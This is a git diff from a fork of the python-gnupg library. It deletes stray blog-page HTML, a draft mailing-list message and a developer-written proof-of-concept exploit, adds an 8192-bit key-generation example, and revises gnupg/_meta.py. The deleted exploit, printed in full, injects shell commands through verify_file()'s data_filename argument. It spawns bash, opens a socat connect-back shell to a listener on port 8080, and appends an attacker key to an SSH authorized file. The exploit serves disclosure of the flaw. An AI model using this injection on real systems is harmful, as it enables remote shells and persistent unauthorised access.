href='http://blog.dest-unreach.be/tag/procurve' class='tag-link-12 nktagcloud-8' title='2 topics' rel="tag" style='font-size: 8pt;'>ProCurve</a></li> - <li><a href='http://blog.dest-unreach.be/tag/raptor' class='tag-link-52 nktagcloud-21' title='52 topics' rel="tag" style='font-size: 21.46pt;'>raptor</a></li> - <li><a href='http://blog.dest-unreach.be/tag/rotor' class='tag-link-6 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>rotor</a></li> - <li><a href='http://blog.dest-unreach.be/tag/router' class='tag-link-36 nktagcloud-10' title='12 topics' rel="tag" style='font-size: 10.69pt;'>router</a></li> - <li><a href='http://blog.dest-unreach.be/tag/script' class='tag-link-58 nktagcloud-11' title='14 topics' rel="tag" style='font-size: 11.23pt;'>script</a></li> - <li><a href='http://blog.dest-unreach.be/tag/ssh' class='tag-link-21 nktagcloud-9' title='7 topics' rel="tag" style='font-size: 9.35pt;'>SSH</a></li> - <li><a href='http://blog.dest-unreach.be/tag/switch' class='tag-link-11 nktagcloud-9' title='7 topics' rel="tag" style='font-size: 9.35pt;'>switch</a></li> - <li><a href='http://blog.dest-unreach.be/tag/trainer-cable' class='tag-link-25 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>trainer-cable</a></li> - <li><a href='http://blog.dest-unreach.be/tag/trex600' class='tag-link-160 nktagcloud-8' title='5 topics' rel="tag" style='font-size: 8.81pt;'>trex600</a></li> - <li><a href='http://blog.dest-unreach.be/tag/vpn' class='tag-link-147 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>VPN</a></li> - <li><a href='http://blog.dest-unreach.be/tag/windows' class='tag-link-70 nktagcloud-8' title='4 topics' rel="tag" style='font-size: 8.54pt;'>Windows</a></li> - <li><a href='http://blog.dest-unreach.be/tag/wordpress' class='tag-link-54 nktagcloud-8' title='3 topics' rel="tag" style='font-size: 8.27pt;'>WordPress</a></li> -</ul> -</li> -<li id="archives-2" class="widget widget_archive"><h2 class="widgettitle">Archives</h2> - <select name="archive-dropdown" onchange='document.location.href=this.options[this.selectedIndex].value;'> <option value="">Select Month</option> <option value='http://blog.dest-unreach.be/2013/10'> October 2013 (1)</option> - <option value='http://blog.dest-unreach.be/2013/07'> July 2013 (2)</option> - <option value='http://blog.dest-unreach.be/2013/05'> May 2013 (4)</option> - <option value='http://blog.dest-unreach.be/2013/03'> March 2013 (3)</option> - <option value='http://blog.dest-unreach.be/2013/02'> February 2013 (1)</option> - <option value='http://blog.dest-unreach.be/2012/12'> December 2012 (2)</option> - <option value='http://blog.dest-unreach.be/2012/09'> September 2012 (1)</option> - <option value='http://blog.dest-unreach.be/2012/07'> July 2012 (1)</option> - <option value='http://blog.dest-unreach.be/2012/06'> June 2012 (1)</option> - <option value='http://blog.dest-unreach.be/2012/05'> May 2012 (1)</option> - <option value='http://blog.dest-unreach.be/2012/04'> April 2012 (2)</option> - <option value='http://blog.dest-unreach.be/2012/03'> March 2012 (2)</option> - <option value='http://blog.dest-unreach.be/2012/02'> February 2012 (2)</option> - <option value='http://blog.dest-unreach.be/2012/01'> January 2012 (2)</option> - <option value='http://blog.dest-unreach.be/2011/12'> December 2011 (1)</option> - <option value='http://blog.dest-unreach.be/2011/10'> October 2011 (1)</option> - <option value='http://blog.dest-unreach.be/2011/08'> August 2011 (1)</option> - <option value='http://blog.dest-unreach.be/2011/06'> June 2011 (2)</option> - <option value='http://blog.dest-unreach.be/2011/05'> May 2011 (1)</option> - <option value='http://blog.dest-unreach.be/2011/04'> April 2011 (1)</option> - <option value='http://blog.dest-unreach.be/2011/03'> March 2011 (3)</option> - <option value='http://blog.dest-unreach.be/2011/01'> January 2011 (1)</option> - <option value='http://blog.dest-unreach.be/2010/12'> December 2010 (3)</option> - <option value='http://blog.dest-unreach.be/2010/11'> November 2010 (1)</option> - <option value='http://blog.dest-unreach.be/2010/10'> October 2010 (4)</option> - <option value='http://blog.dest-unreach.be/2010/08'> August 2010 (2)</option> - <option value='http://blog.dest-unreach.be/2010/07'> July 2010 (4)</option> - <option value='http://blog.dest-unreach.be/2010/06'> June 2010 (3)</option> - <option value='http://blog.dest-unreach.be/2010/05'> May 2010 (3)</option> - <option value='http://blog.dest-unreach.be/2010/03'> March 2010 (2)</option> - <option value='http://blog.dest-unreach.be/2010/02'> February 2010 (2)</option> - <option value='http://blog.dest-unreach.be/2010/01'> January 2010 (7)</option> - <option value='http://blog.dest-unreach.be/2009/12'> December 2009 (2)</option> - <option value='http://blog.dest-unreach.be/2009/11'> November 2009 (4)</option> - <option value='http://blog.dest-unreach.be/2009/10'> October 2009 (1)</option> - <option value='http://blog.dest-unreach.be/2009/09'> September 2009 (4)</option> - <option value='http://blog.dest-unreach.be/2009/08'> August 2009 (3)</option> - <option value='http://blog.dest-unreach.be/2009/07'> July 2009 (4)</option> - <option value='http://blog.dest-unreach.be/2009/06'> June 2009 (4)</option> - <option value='http://blog.dest-unreach.be/2009/05'> May 2009 (6)</option> - <option value='http://blog.dest-unreach.be/2009/04'> April 2009 (9)</option> - <option value='http://blog.dest-unreach.be/2009/03'> March 2009 (6)</option> - <option value='http://blog.dest-unreach.be/2009/02'> February 2009 (4)</option> - <option value='http://blog.dest-unreach.be/2009/01'> January 2009 (5)</option> - <option value='http://blog.dest-unreach.be/2008/12'> December 2008 (11)</option> - <option value='http://blog.dest-unreach.be/2008/11'> November 2008 (1)</option> - <option value='http://blog.dest-unreach.be/2008/10'> October 2008 (7)</option> - <option value='http://blog.dest-unreach.be/2008/09'> September 2008 (5)</option> - <option value='http://blog.dest-unreach.be/2008/08'> August 2008 (8)</option> - <option value='http://blog.dest-unreach.be/2008/07'> July 2008 (4)</option> - <option value='http://blog.dest-unreach.be/2008/06'> June 2008 (13)</option> - <option value='http://blog.dest-unreach.be/2008/05'> May 2008 (1)</option> - <option value='http://blog.dest-unreach.be/2008/04'> April 2008 (2)</option> - <option value='http://blog.dest-unreach.be/2008/03'> March 2008 (1)</option> - <option value='http://blog.dest-unreach.be/2008/02'> February 2008 (1)</option> - <option value='http://blog.dest-unreach.be/2007/12'> December 2007 (1)</option> - <option value='http://blog.dest-unreach.be/2007/11'> November 2007 (2)</option> - <option value='http://blog.dest-unreach.be/2007/10'> October 2007 (5)</option> - <option value='http://blog.dest-unreach.be/2007/09'> September 2007 (1)</option> - <option value='http://blog.dest-unreach.be/2007/08'> August 2007 (6)</option> - <option value='http://blog.dest-unreach.be/2007/07'> July 2007 (4)</option> - </select> -</li> - - </ul> - </div> - </div> -</div> <!-- wrapper --> -<div id="footer"><div><div><div> - <a href="http://blog.dest-unreach.be/feed">Entries (RSS)</a> and <a href="http://blog.dest-unreach.be/comments/feed">Comments (RSS)</a>.<br /> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/be/deed.en_US"> - <img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/be/88x31.png" /> - </a> - This work by <a xmlns:cc="http://creativecommons.org/ns#" href="http://blog.dest-unreach.be/" property="cc:attributionName" rel="cc:attributionURL"> - http://blog.dest-unreach.be/</a> is licensed under a - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/be/deed.en_US"> - Creative Commons Attribution-Noncommercial-Share Alike 2.0 Belgium License</a>.<br /> - Powered by <a href="http://wordpress.org/" title="Powered by WordPress.">WordPress</a>. Theme <a href="http://srinig.com/wordpress/themes/evanescence/">Evanescence</a>.<br /> - <!-- 30 queries. 0.211 seconds. --> -</div></div></div></div> -</div> <!-- page --> -</body> -</html> - diff --git a/docs/to-monkeysphere-list b/docs/to-monkeysphere-list deleted file mode 100644 index 8634615..0000000 --- a/docs/to-monkeysphere-list +++ /dev/null @@ -1,34 +0,0 @@ -1) I'm going to package it on pypi, and hopefully Debian as well. I'm sure - you've noticed, but there's gpgpy, python-gnupg, pygpg, openpgpy, - python-gpgme, pyme, and I don't even know what else. The namespace is pretty - crowded, and I'm not sure if I should continue to use 'python-gnupg' because - mine is fairly distinct from upstream (and upstream hasn't responded, though - they did make a new release a couple months ago duplicating some of my - work). Should I change the name? Do you have any ideas for names? - -2) If anyone plans to use my version of python-gnupg, is there anything missing - that I should add, or parts of the API that are awkward? (This is one of the - things I'm finishing up now.) I don't want to add huge features now, but if - it was something like "make <packet that is currently skipped> be available - as an attribute of the result object of <gnupg operation>" then that is - quite doable. - -I just read through monkeysign/msign-cli and monkeysign/msign, and I'm glad -there is a better version of my -written-during-a-ragequit-on-the-amount-of-typing-required-to-certify-a-gpg-key -script. Which is here[1], and not useful to you -- monkeysign is better. - -There is also a script I use for uploading a timestamped, signed copy of my -primary public key and OTR fingerprints,[2] which might be useful, dkg has -suggested that it "get published properly" -- which I took to mean putting it -in caff. I don't particularly care where it goes, as long as no one else has to -write the same thing again. Although I should revise it to include multiple OTR -fingerprint (and probably other identity based key material, like a server's -SSL fingerprint), and also to remove the annoying url-shortened link at L91. - - - -[0]: https://leap.se -[1]: https://code.patternsinthevoid.net/?p=scripts.git;a=blob;f=keysign;h=a576e32c5d130f1ad6edf38632a51c60e1d9f023;hb=HEAD -[2]: https://code.patternsinthevoid.net/?p=scripts.git;a=blob;f=gpg_key_to_web;h=36a63eeb6a75063edbafbf93c94397439cc1c02e;hb=HEAD - diff --git a/docs/upstream-python-gnupg-POC-exploit.py b/docs/upstream-python-gnupg-POC-exploit.py deleted file mode 100644 index 4bdc336..0000000 --- a/docs/upstream-python-gnupg-POC-exploit.py +++ /dev/null @@ -1,120 +0,0 @@ -#!/usr/bin/env python -#-*- coding: utf-8 -*- -''' -python-gnupg-exploit.py ------------------------ -Remote code execution exploit for python-gnupg-0.3.0 gnupg.GPG.verify_file() -with a simple connectback call to a waiting server. Written on a train, -homeless in europe. Eurotrash like hell. - -You *absolutely* should run this in a virtualenv, and since this POC only runs -on localhost, you should probably bring down all other network interfaces -while playing with it, since by default it forks a connectback shell for every -TCP connection to localhost:8080. - -To run this POC, you should obtain the source for python-gnupg, copy this file -into the python-gnupg source directory, and then navigate into it: - - $ sudo apt-get source python-gnupg - $ cd python-gnupg-0.3.0/ - $ mv <path/to/this/file> ./ - -To run the server half, do: - - $ python ./python-gnupg-exploit.py mallory - - it just listens on 8080 on localhost and lets you type stuff or pipe -whatever you want into the connection. After that, in another terminal, you -can do: - - $ python ./python-gnupg-exploit.py alice - - to run the the exploit, which connects to your waiting mallory server and -forks off a shell in a separate process. - -You can exploit gpg.GPG.verify_file() by calling it with -data_filename="\"<your_code>\"" and the inner set of escaped double quotes are -important. You'll have to be tricky and find ways to not allow your code to -contain spaces, but it's the default system shell running under the UID and -GID of the parent caller for Python interpreter. It's even nicely in it's own -threading.Thread(), provided by gnupg.GPG._collect_output(). - -@authors: Isis Agora Lovecruft, 0x2cdb8b35 - All of the other Leap Encryption Access Project Python developers -@date: 7 February 2013 -@license: WTFPL, see [http://wtfpl.org/] -@copyright: ? 2013 Isis Lovecruft -''' - -from os import getcwd, path - -import gnupg -import sys - - -def usage(): - """Because dying should be about sending a message.""" - msg = "You need to download the source for python-gnupg before using this! " - msg += "Please try again after placing this file in the python-gnupg-0.3.0/" - msg += " directory. See the docstring for this file if you need more help." - msg += "\nExiting..." - raise SystemExit(msg) - -class Alice(object): - """Client code.""" - - def __init__(self, file=None): - here = getcwd() - self.gpg = gnupg.GPG(gnupghome=here) - self.log = path.join(here, 'alice.log') - - if file is not None: - self.file = file - else: - ## this is probably equivalent to saying "eat your heart out, - ## gnupg"... - self.file = path.join(getcwd(), 'LICENSE') - - def exploit(self, shellcode=None): - """POC example.""" - bad = None - with open(self.file) as worse: - bad = self.gpg.verify_file(worse, shellcode) - return bad - - def code_exec(self): - """This forks a local bash shell.""" - self.exploit("\"&coproc /bin/bash\"") - - def remote_code_exec(self): - """ - You know that part in The Matrix where Neo is sleeping on his - keyboard, and then Trinity types stuff on his terminal? This does - that. - """ - client = ("\"&`socat -d -d -d -d -lf " + self.log + - " - TCP-CONNECT:localost:8080,crnl`\"") - self.exploit(client) - - def ssh_append(self): - """ - This appends mallory's id_rsa.pub to alice's authorized_hosts file. - """ - append = ("\"&`socat -d -d -d -d -lf " + alice_log + - " OPEN:" + path.expanduser('~/.ssh/authorized_hosts') + - ",creat,append,end-close " + - "TCP-CONNECT:localhost:8080,reuseaddr,retry=3,fork`\"") - self.exploit(append) - -if __name__ == "__main__": - - ## don't run if they didn't follow the instructions: - here = getcwd() - if not here.endswith('python-gnupg-0.3.0'): - usage() - else: - print "To run the corresponding listener, in another shell do:\n" - print " $ socat -d -d -d -d -lf mallory.log - \ " - print " TCP-LISTEN:8080,reuseaddr,fork" - alice = Alice() - alice.remote_code_exec() diff --git a/examples/make-8192-bit-key.py b/examples/make-8192-bit-key.py new file mode 100755 index 0000000..c533fc9 --- /dev/null +++ b/examples/make-8192-bit-key.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +"""Create a new 8192-bit GnuPG keypair. + +:authors: Isis <isis@patternsinthevoid.net> 0xa3adb67a2cdb8b35 +:license: MIT license +:copyright: (c) 2013 Isis Agora Lovecruft +""" + +from __future__ import print_function +from __future__ import absolute_import +from __future__ import unicode_literals + +import os +import logging + +import gnupg + +from gnupg import _logger + +# Set up logging: +log = _logger.create_logger(9) +log.setLevel(9) + + +#――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― +# Settings +# +# You probably want to edit the following variables. Ones which are currently +# set to strings are necessary; the ones which are set to `None` are optional. + +# The directory to use as the homedir for GnuPG (it will contain the +# secring.gpg and pubring.gpg, etc.) +NEWKEY_DIR = './8192-bit-key' + +# The name you go by, as it should appear in the primary keyid, i.e. "Evey +# Hammond": +NAME = 'Someone' + +# The comment which goes in parantheses after the name and before the email +# address on the key's primary uid. Leave as None to not have one. +NAME_COMMENT = None + +# The email address for the primary UID (You *should* actually be able to put +# whatever you want here, like a domain or something, because the GnuPG +# `--allow-freeform-uid` option will be used. I've not actually tested this +# though.) +NAME_EMAIL = 'someone@example.com' + +# Expiration date for the new key. To use the default expiration of one year, +# set to None. +#EXPIRE_DATE = '1999-09-19' +EXPIRE_DATE = None + + +# GnuPG-1.4.x allows the automated creation of passphraseless keys. If using +# GnuPG-1.4.x, and you don't specify the passphrase, you can of course set it +# later with `$ gpg --edit-key` and then at the prompt typing `password`. If +# using a GnuPG from the 2.x series, you *must* specify a password here +# (though you can still change it afterward). +PASSPHRASE = None + +# Type of key, i.e. 'RSA' or 'DSA' or something else. I've only tested +# 8192-bit keys with RSA. +KEY_TYPE = 'RSA' + +# Uses for the key. Can be things like 'cert,sign' or 'cert' or 'cert,auth'. +KEY_USAGE = 'cert' + +# Key bitlength. You likely want 8192, if you're using this script. +# +# It *is* possible to create 16834-bit keys, though it requires modifying and +# recompiling GnuPG. Doing this is a bit janky due to internal GnuPG buffers +# in several parts of the codebase being limited to 8192-bits, the key cannot +# be handled by *most* keyservers (there appears to be only one public +# keyserver which supports 16384-bit keys being uploaded to it), and the +# 16834-bit key will likely require the modified GnuPG to work with it (even +# then some operations, such as removal of the primary secret key, but not the +# primary public key, from the keychain will be badly broken). +KEY_LENGTH = 8192 + +# Type of subkey. None to skip subkey generation. You can add keys later +# through `$ gpg --edit-key`. For compatibility with people who aren't doing +# crazy things with their keys, you maybe probably want to use `--edit-key` to +# create some nice, normal, "overly-paranoid" 4096-bit keys. +SUBKEY_TYPE = 'RSA' + +# Same as KEY_USAGE. +#SUBKEY_USAGE = None +SUBKEY_USAGE = 'sign' + +# Same as KEY_LENGTH. +#SUBKEY_LENGTH = None +SUBKEY_LENGTH = 4096 + +# The default keyserver for the key, which is embedded into the key, telling +# other people's GnuPGs to fetch (and send updates) to this URL: +KEYSERVER = None + +# Set the cipher, hash, and compression preference values for this key. This +# expects the same type of string as the sub-command ‘setpref’ in the +# --edit-key menu. The default preferences are given in +# ``gnupg.GPG.default_preference_list``. +PREFERENCES = None +#――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― + + +gpg = gnupg.GPG(homedir=NEWKEY_DIR) +allparams = {'name_real': NAME, + 'name_comment': NAME_COMMENT, + 'name_email': NAME_EMAIL, + 'expire_date': EXPIRE_DATE, + 'passphrase': PASSPHRASE, + 'key_type': KEY_TYPE, + 'key_usage': KEY_USAGE, + 'key_length': KEY_LENGTH, + 'subkey_type': SUBKEY_TYPE, + 'subkey_usage': SUBKEY_USAGE, + 'subkey_length': SUBKEY_LENGTH, + 'keyserver': KEYSERVER, + 'preferences': PREFERENCES} + +def createBatchfile(keyparams=allparams): + """Create the batchfile for our new key. + + :params dict keyparams: A dictionary of arguments for creating the key. It + should probably be ``allparams``. + :rtype: str + :returns: A string containing the entire GnuPG batchfile. + """ + useparams = {} + for key, value in keyparams.items(): + if value: + useparams.update({key: value}) + batchfile = gpg.gen_key_input(separate_keyring=True, + save_batchfile=True, + **useparams) + log.info("Generated GnuPG batch file:\n%s" % batchfile) + return batchfile + +def createKey(batchfile): + """Create a new keypair from a **batchfile**. + + Writes the new keys into keyrings named after ``NAME_EMAIL`` inside the + ``NEWKEY_DIR``. + + :params str batchfile: A GnuPG batchfile. See :func:`createBatchfile`. + """ + key = gpg.gen_key(batchfile) + fingerprint = key.fingerprint + + if not fingerprint: + log.error("Key creation seems to have failed: %s" % key.status) + return None, None + return key, fingerprint + +def displayNewKey(key): + """Use ``gnupg.GPG.list_keys()`` to display details of the new key.""" + + if key.keyring: + gpg.keyring = key.keyring + if key.secring: + gpg.secring = key.secring + + # Using '--fingerprint' twice will display subkey fingerprints too: + gpg.options = ['--fingerprint', '--fingerprint'] + keylist = gpg.list_keys(secret=True) + + # `result` is a `gnupg._parsers.ListKeys`, which is list-like, so iterate + # over all the keys and display their info: + for gpgkey in keylist: + for k, v in gpgkey.items(): + log.info("%s: %s" % (k.capitalize(), v)) + + return keylist + +def exportNewKey(fingerprint): + """Export the new keys into .asc files. + + :param str fingerprint: A full key fingerprint. + """ + log.info("Exporting key: %s" % fingerprint) + + keyfn = os.path.join(gpg.homedir, + fingerprint + '-8192-bit-key') + os.path.extsep + + pubkey = gpg.export_keys(fingerprint) + seckey = gpg.export_keys(fingerprint, secret=True) + subkey = gpg.export_keys(fingerprint, secret=True, subkeys=True) + + with open(keyfn + 'pub' + os.path.extsep + 'asc', 'w') as fh: + fh.write(pubkey) + with open(keyfn + 'sec' + os.path.extsep + 'asc', 'w') as fh: + fh.write(seckey) + with open(keyfn + 'sub' + os.path.extsep + 'asc', 'w') as fh: + fh.write(subkey) + + +if __name__ == '__main__': + if (NAME == 'Someone') or (NAME_EMAIL == 'someone@example.com'): + log.info("Please edit the settings variables within this script.") + log.info("Exiting...") + exit(1) + else: + try: + batchfile = createBatchfile() + key, fingerprint = createKey(batchfile) + log.info("New key with fingerprint %r created" % fingerprint) + displayNewKey(key) + exportNewKey(fingerprint) + + except Exception as error: + log.error(error) diff --git a/gnupg/_meta.py b/gnupg/_meta.py index 3aafacd..32ab287 100644 --- a/gnupg/_meta.py +++ b/gnupg/_meta.py @@ -32,14 +32,22 @@ import encodings import locale import os import platform -import psutil import shlex import subprocess import sys import threading +## Using psutil is recommended, but since the extension doesn't run with the +## PyPy interpreter, we'll run even if it's not present. +try: + import psutil +except ImportError: + psutil = None + from . import _parsers from . import _util +from ._util import b +from ._util import s from ._parsers import _check_preferences from ._parsers import _sanitise_list @@ -75,19 +83,49 @@ class GPGMeta(type): instance containing the gpg-agent process' information to ``cls._agent_proc``. + For Unix systems, we check that the effective UID of this + ``python-gnupg`` process is also the owner of the gpg-agent + process. For Windows, we check that the usernames of the owners are + the same. (Sorry Windows users; maybe you should switch to anything + else.) + + .. note: This function will only run if the psutil_ Python extension + is installed. Because psutil won't run with the PyPy interpreter, + use of it is optional (although highly recommended). + + .. _psutil: https://pypi.python.org/pypi/psutil + :returns: True if there exists a gpg-agent process running under the same effective user ID as that of this program. Otherwise, - returns None. + returns False. """ - identity = psutil.Process(os.getpid()).uids + if not psutil: + return False + + this_process = psutil.Process(os.getpid()) + ownership_match = False + + if _util._running_windows: + identity = this_process.username() + else: + identity = this_process.uids + for proc in psutil.process_iter(): if (proc.name == "gpg-agent") and proc.is_running: log.debug("Found gpg-agent process with pid %d" % proc.pid) - if proc.uids == identity: - log.debug( - "Effective UIDs of this process and gpg-agent match") - setattr(cls, '_agent_proc', proc) - return True + if _util._running_windows: + if proc.username() == identity: + ownership_match = True + else: + if proc.uids == identity: + ownership_match = True + + if ownership_match: + log.debug("Effective UIDs of this process and gpg-agent match") + setattr(cls, '_agent_proc', proc) + return True + + return False class GPGBase(object): @@ -111,7 +149,7 @@ class GPGBase(object): def __init__(self, binary=None, home=None, keyring=None, secring=None, use_agent=False, default_preference_list=None, - verbose=False, options=None): + ignore_homedir_permissions=False, verbose=False, options=None): """Create a ``GPGBase``. This class is used to set up properties for controlling the behaviour @@ -134,13 +172,18 @@ class GPGBase(object): :ivar str secring: The filename in **homedir** to use as the keyring file for secret keys. """ + self.ignore_homedir_permissions = ignore_homedir_permissions self.binary = _util._find_binary(binary) - self.homedir = home if home else _util._conf + self.homedir = os.path.expanduser(home) if home else _util._conf pub = _parsers._fix_unsafe(keyring) if keyring else 'pubring.gpg' sec = _parsers._fix_unsafe(secring) if secring else 'secring.gpg' self.keyring = os.path.join(self._homedir, pub) self.secring = os.path.join(self._homedir, sec) - self.options = _parsers._sanitise(options) if options else None + self.options = list(_parsers._sanitise_list(options)) if options else None + + #: The version string of our GnuPG binary + self.binary_version = '0.0.0' + self.verbose = False if default_preference_list: self._prefs = _check_preferences(default_preference_list, 'all') @@ -155,6 +198,14 @@ class GPGBase(object): self._filesystemencoding = encodings.normalize_encoding( sys.getfilesystemencoding().lower()) + # Issue #49: https://github.com/isislovecruft/python-gnupg/issues/49 + # + # During `line = stream.readline()` in `_read_response()`, the Python + # codecs module will choke on Unicode data, so we globally monkeypatch + # the "strict" error handler to use the builtin `replace_errors` + # handler: + codecs.register_error('strict', codecs.replace_errors) + self._keyserver = 'hkp://wwwkeys.pgp.net' self.__generated_keys = os.path.join(self.homedir, 'generated-keys') @@ -164,18 +215,12 @@ class GPGBase(object): "'verbose' must be boolean, string, or 0 <= n <= 9" assert isinstance(use_agent, bool), "'use_agent' must be boolean" if self.options is not None: - assert isinstance(self.options, str), "options not string" + assert isinstance(self.options, list), "options not list" except (AssertionError, AttributeError) as ae: log.error("GPGBase.__init__(): %s" % str(ae)) raise RuntimeError(str(ae)) else: - if verbose is True: - # The caller wants logging, but we need a valid --debug-level - # for gpg. Default to "basic", and warn about the ambiguity. - # (garrettr) - verbose = "basic" - log.warning('GPG(verbose=True) is ambiguous, defaulting to "basic" logging') - self.verbose = verbose + self._set_verbose(verbose) self.use_agent = use_agent if hasattr(self, '_agent_proc') \ @@ -183,6 +228,9 @@ class GPGBase(object): if hasattr(self, '__remove_path__'): self.__remove_path__('pinentry') + # Assign our self.binary_version attribute: + self._check_sane_and_get_gpg_version() + def __remove_path__(self, prog=None, at_exit=True): """Remove the directories containing a program from the system's ``$PATH``. If ``GPGBase.binary`` is in a directory being removed, it @@ -368,18 +416,21 @@ class GPGBase(object): log.debug("GPGBase._homedir_setter(): Check existence of '%s'" % hd) _util._create_if_necessary(hd) - try: - log.debug("GPGBase._homedir_setter(): checking permissions") - assert _util._has_readwrite(hd), \ - "Homedir '%s' needs read/write permissions" % hd - except AssertionError as ae: - msg = ("Unable to set '%s' as GnuPG homedir" % directory) - log.debug("GPGBase.homedir.setter(): %s" % msg) - log.debug(str(ae)) - raise RuntimeError(str(ae)) - else: - log.info("Setting homedir to '%s'" % hd) + if self.ignore_homedir_permissions: self._homedir = hd + else: + try: + log.debug("GPGBase._homedir_setter(): checking permissions") + assert _util._has_readwrite(hd), \ + "Homedir '%s' needs read/write permissions" % hd + except AssertionError as ae: + msg = ("Unable to set '%s' as GnuPG homedir" % directory) + log.debug("GPGBase.homedir.setter(): %s" % msg) + log.debug(str(ae)) + raise RuntimeError(str(ae)) + else: + log.info("Setting homedir to '%s'" % hd) + self._homedir = hd homedir = _util.InheritableProperty(_homedir_getter, _homedir_setter) @@ -436,6 +487,24 @@ class GPGBase(object): _generated_keys = _util.InheritableProperty(_generated_keys_getter, _generated_keys_setter) + def _check_sane_and_get_gpg_version(self): + """Check that everything runs alright, and grab the gpg binary's + version number while we're at it, storing it as :data:`binary_version`. + + :raises RuntimeError: if we cannot invoke the gpg binary. + """ + proc = self._open_subprocess(["--list-config", "--with-colons"]) + result = self._result_map['list'](self) + self._read_data(proc.stdout, result) + if proc.returncode: + raise RuntimeError("Error invoking gpg: %s" % result.data) + else: + proc.terminate() + + version_line = str(result.data).partition(':version:')[2] + self.binary_version = version_line.split('\n')[0] + log.debug("Using GnuPG version %s" % self.binary_version) + def _make_args(self, args, passphrase=False): """Make a list of command line elements for GPG. @@ -470,21 +539,29 @@ class GPGBase(object): if passphrase: cmd.append('--batch --passphrase-fd 0') - if self.use_agent: cmd.append('--use-agent') - else: cmd.append('--no-use-agent') + if self.use_agent is True: cmd.append('--use-agent') + elif self.use_agent is False: cmd.append('--no-use-agent') + + # The arguments for debugging and verbosity should be placed into the + # cmd list before the options/args in order to resolve Issue #76: + # https://github.com/isislovecruft/python-gnupg/issues/76 + if self.verbose: + cmd.append('--debug-all') + + if (isinstance(self.verbose, str) or + (isinstance(self.verbose, int) and (self.verbose >= 1))): + # GnuPG<=1.4.18 parses the `--debug-level` command in a way + # that is incompatible with all other GnuPG versions. :'( + if self.binary_version and (self.binary_version <= '1.4.18'): + cmd.append('--debug-level=%s' % self.verbose) + else: + cmd.append('--debug-level %s' % self.verbose) if self.options: [cmd.append(opt) for opt in iter(_sanitise_list(self.options))] if args: [cmd.append(arg) for arg in iter(_sanitise_list(args))] - if self.verbose: - cmd.append('--debug-all') - if ((isinstance(self.verbose, str) and - self.verbose in ['basic', 'advanced', 'expert', 'guru']) - or (isinstance(self.verbose, int) and (1<=self.verbose<=9))): - cmd.append('--debug-level %s' % self.verbose) - return cmd def _open_subprocess(self, args=None, passphrase=False): @@ -592,6 +669,36 @@ class GPGBase(object): log.debug("Finishing reading from stream %r..." % stream.__repr__()) log.debug("Read %4d bytes total" % len(result.data)) + def _set_verbose(self, verbose): + """Check and set our :data:`verbose` attribute. + The debug-level must be a string or an integer. If it is one of + the allowed strings, GnuPG will translate it internally to it's + corresponding integer level: + + basic = 1-2 + advanced = 3-5 + expert = 6-8 + guru = 9+ + + If it's not one of the recognised string levels, then then + entire argument is ignored by GnuPG. :( + + To fix that stupid behaviour, if they wanted debugging but typo'd + the string level (or specified ``verbose=True``), we'll default to + 'basic' logging. + """ + string_levels = ('basic', 'advanced', 'expert', 'guru') + + if verbose is True: + # The caller wants logging, but we need a valid --debug-level + # for gpg. Default to "basic", and warn about the ambiguity. + verbose = 'basic' + + if (isinstance(verbose, str) and not (verbose in string_levels)): + verbose = 'basic' + + self.verbose = verbose + def _collect_output(self, process, result, writer=None, stdin=None): """Drain the subprocesses output streams, writing the collected output to the result. If a writer thread (writing to the subprocess) is given, @@ -699,6 +806,19 @@ class GPGBase(object): ## We could use _handle_io here except for the fact that if the ## passphrase is bad, gpg bails and you can't write the message. result = self._result_map['sign'](self) + + ## If the passphrase is an empty string, the message up to and + ## including its first newline will be cut off before making it to the + ## GnuPG process. Therefore, if the passphrase='' or passphrase=b'', + ## we set passphrase=None. See Issue #82: + ## https://github.com/isislovecruft/python-gnupg/issues/82 + if _util._is_string(passphrase): + passphrase = passphrase if len(passphrase) > 0 else None + elif _util._is_bytes(passphrase): + passphrase = s(passphrase) if len(passphrase) > 0 else None + else: + passphrase = None + proc = self._open_subprocess(args, passphrase is not None) try: if passphrase: @@ -718,6 +838,8 @@ class GPGBase(object): symmetric=False, always_trust=True, output=None, + throw_keyids=False, + hidden_recipients=None, cipher_algo='AES256', digest_algo='SHA512', compress_algo='ZLIB'): @@ -790,6 +912,14 @@ class GPGBase(object): >>> decrypted 'The crow flies at midnight.' + + :param bool throw_keyids: If True, make all **recipients** keyids be + zero'd out in packet information. This is the same as using + **hidden_recipients** for all **recipients**. (Default: False). + + :param list hidden_recipients: A list of recipients that should have + their keyids zero'd out in packet information. + :param str cipher_algo: The cipher algorithm to use. To see available algorithms with your version of GnuPG, do: :command:`$ gpg --with-colons --list-config @@ -841,6 +971,7 @@ class GPGBase(object): ## is decryptable with a passphrase or secretkey. if symmetric: args.append('--symmetric') if encrypt: args.append('--encrypt') + if throw_keyids: args.append('--throw-keyids') if len(recipients) >= 1: log.debug("GPG.encrypt() called for recipients '%s' with type '%s'" @@ -856,39 +987,54 @@ class GPGBase(object): log.info("Can't accept recipient string: %s" % recp) else: - args.append('--recipient %s' % str(recp)) + self._add_recipient_string(args, hidden_recipients, str(recp)) continue ## will give unicode in 2.x as '\uXXXX\uXXXX' - args.append('--recipient %r' % recp) + if isinstance(hidden_recipients, (list, tuple)): + if [s for s in hidden_recipients if recp in str(s)]: + args.append('--hidden-recipient %r' % recp) + else: + args.append('--recipient %r' % recp) + else: + args.append('--recipient %r' % recp) continue if isinstance(recp, str): - args.append('--recipient %s' % recp) + self._add_recipient_string(args, hidden_recipients, recp) elif (not _util._py3k) and isinstance(recp, basestring): for recp in recipients.split('\x20'): - args.append('--recipient %s' % recp) + self._add_recipient_string(args, hidden_recipients, recp) elif _util._py3k and isinstance(recp, str): for recp in recipients.split(' '): - args.append('--recipient %s' % recp) + self._add_recipient_string(args, hidden_recipients, recp) ## ...and now that we've proven py3k is better... - else: - log.debug("Don't know what to do with recipients: '%s'" + log.debug("Don't know what to do with recipients: %r" % recipients) result = self._result_map['crypt'](self) - log.debug("Got data '%s' with type '%s'." - % (data, type(data))) - 